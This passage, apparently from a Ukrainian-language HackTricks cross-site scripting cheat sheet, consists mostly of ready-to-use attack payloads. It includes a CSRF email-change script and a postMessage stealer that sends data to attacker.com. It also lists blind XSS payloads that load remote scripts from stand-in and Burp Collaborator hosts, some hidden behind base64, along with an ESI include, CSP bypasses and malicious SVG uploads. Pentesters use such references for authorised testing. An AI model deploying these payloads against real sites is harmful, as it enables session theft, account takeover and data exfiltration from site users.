changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

Викрадення повідомлень PostMessage

html
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

Зловживання Service Workers

Abusing Service Workers

Доступ до Shadow DOM

Shadow DOM

Polyglots

Auto_Wordlists/wordlists/xss_polyglots.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Blind XSS payloads

Також можна використовувати: https://xsshunter.com/

html
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>

<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))

<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>

<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />

<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />

<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}

Regex - Отримати прихований вміст

З цієї статті можна дізнатися, що навіть якщо деякі значення зникають з JS, їх все ще можна знайти в JS-атрибутах різних об'єктів. Наприклад, введення REGEX все ще можна знайти після того, як значення введення REGEX було видалено:

javascript
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)

// Remove flag value, nobody will be able to get it, right?
flag = ""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)

Brute-Force List

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt

XSS Зловживання іншими вразливостями

XSS у Markdown

Можна інжектувати Markdown-код, який буде відрендерений? Можливо, ви зможете отримати XSS! Перевірте:

XSS in Markdown

XSS у SSRF

Отримали XSS на сайті, що використовує кешування? Спробуйте перетворити його на SSRF через Edge Side Include Injection за допомогою цього payload:

python
<esi:include src="http://yoursite.com/capture" />

Use it to bypass cookie restrictions, XSS filters and much more!
Більше інформації про цю техніку тут: XSLT.

XSS у динамічно створюваному PDF

Якщо веб-сторінка створює PDF, використовуючи введення, контрольоване користувачем, ви можете спробувати обманути бота, який створює PDF, щоб він виконав довільний JS код.
Отже, якщо бот, що створює PDF, знаходить якийсь вид HTML тегів, він їх інтерпретуватиме, і ви можете зловживати цією поведінкою, щоб спричинити Server XSS.

Server Side XSS (Dynamic PDF)

Якщо ви не можете інжектувати HTML-теги, можливо варто спробувати inject PDF data:

PDF Injection

XSS в Amp4Email

AMP, призначений для прискорення роботи веб-сторінок на мобільних пристроях, використовує HTML-теги, доповнені JavaScript, для забезпечення функціональності з наголосом на швидкість та безпеку. Він підтримує низку компонентів для різних можливостей, доступних через AMP components.

Формат AMP for Email розширює певні AMP-компоненти для email, дозволяючи отримувачам взаємодіяти з контентом безпосередньо у своїх листах.

Example writeup XSS in Amp4Email in Gmail.

XSS при завантаженні файлів (svg)

Завантажте як зображення файл, схожий на наступний (з http://ghostlulz.com/xss-svg/):

html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
html
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
html
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
svg
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
html
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Знайдіть більше SVG payloads у https://github.com/allanlw/svg-cheatsheet

Різні JS трюки та відповідна інформація

Misc JS Tricks & Relevant Info

Ресурси XSS

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks